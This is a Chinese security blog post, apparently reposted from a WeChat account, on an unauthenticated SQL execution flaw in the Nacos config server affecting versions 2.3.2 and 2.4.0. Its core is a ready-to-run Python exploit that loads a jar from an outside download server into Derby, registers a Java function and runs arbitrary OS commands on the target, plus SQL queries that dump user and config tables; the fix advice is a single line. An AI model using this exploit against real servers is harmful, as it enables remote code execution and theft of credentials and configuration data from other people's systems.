Nacos漏洞分析与利用

admin 2024年9月30日11:24:23评论0 views字数 2031阅读6分46秒阅读模式

0x00 前言

在当今云原生应用的快速发展中,Nacos作为动态服务发现与配置管理的核心组件,受到了广泛的关注。然而,最近发现的一个漏洞暴露了Nacos在安全性上的不足,值得我们深入分析与探讨。

Nacos漏洞分析与利用

0x01 漏洞描述

Nacos的config server中存在一个接口,未进行任何鉴权,导致恶意用户可以执行任意SQL语句,从而泄露数据库中的敏感信息。漏洞点位于com.alibaba.nacos.config.server.controller.ConfigOpsController中,攻击者可以通过构造特定请求,查询数据库中的所有信息,例如:

SELECT * FROM users;SELECT * FROM his_config_info;SELECT * FROM config_info;

0x02 影响版本

  • Nacos 2.3.2 或 2.4.0版本均受到影响。

0x03 漏洞详情

为了演示该漏洞的利用方法,我们提供了一个Python脚本,帮助大家理解如何触发此漏洞并执行任意命令。

import random
import sys
import requests
from urllib.parse import urljoin
import config

def exploit(target, command, service):
    removal_url = urljoin(target, '/nacos/v1/cs/ops/data/removal')
    derby_url = urljoin(target, '/nacos/v1/cs/ops/derby')
    for i in range(0, sys.maxsize):
        id = ''.join(random.sample('abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ', 8))
        post_sql = """CALL sqlj.install_jar('{service}', 'NACOS.{id}', 0)
        CALL SYSCS_UTIL.SYSCS_SET_DATABASE_PROPERTY('derby.database.classpath', 'NACOS.{id}')
        CREATE FUNCTION S_EXAMPLE_{id}(PARAM VARCHAR(2000)) RETURNS VARCHAR(2000) PARAMETER STYLE JAVA NO SQL LANGUAGE JAVA EXTERNAL NAME 'test.poc.Example.exec'
        """.format(id=id, service=service)
        
        option_sql = "UPDATE ROLES SET ROLE='1' WHERE ROLE='1' AND ROLE=S_EXAMPLE_{id}('{cmd}')".format(id=id, cmd=command)
        get_sql = "SELECT * FROM (SELECT COUNT(*) AS b, S_EXAMPLE_{id}('{cmd}') AS a FROM config_info) tmp /*ROWS FETCH NEXT*/".format(id=id, cmd=command)

        files = {'file': post_sql}
        post_resp = requests.post(url=removal_url, files=files)
        post_json = post_resp.json()
        
        if post_json.get('message', None) is None and post_json.get('data', None) is not None:
            print(post_resp.text)
            get_resp = requests.get(url=derby_url, params={'sql': get_sql})
            print(get_resp.text)
            break

if __name__ == '__main__':
    service = 'http://{host}:{port}/download'.format(host=config.server_host, port=config.server_port)
    target = 'http://127.0.0.1:8848'
    command = 'calc'
    target = input('请输入目录URL,默认:http://127.0.0.1:8848:') or target
    command = input('请输入命令,默认:calc:') or command
    exploit(target=target, command=command, service=service)

0x04 漏洞修复建议

建议用户及时更新到Nacos的最新版本,或采取相关安全措施,避免遭受此类SQL注入攻击。

0x05 参考链接

https://github.com/HACK-THE-WORLD/nacos-poc

原文始发于微信公众号(云梦安全):Nacos漏洞分析与利用

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年9月30日11:24:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   Nacos漏洞分析与利用https://cn-sec.com/archives/3221935.html

发表评论

匿名网友 填写信息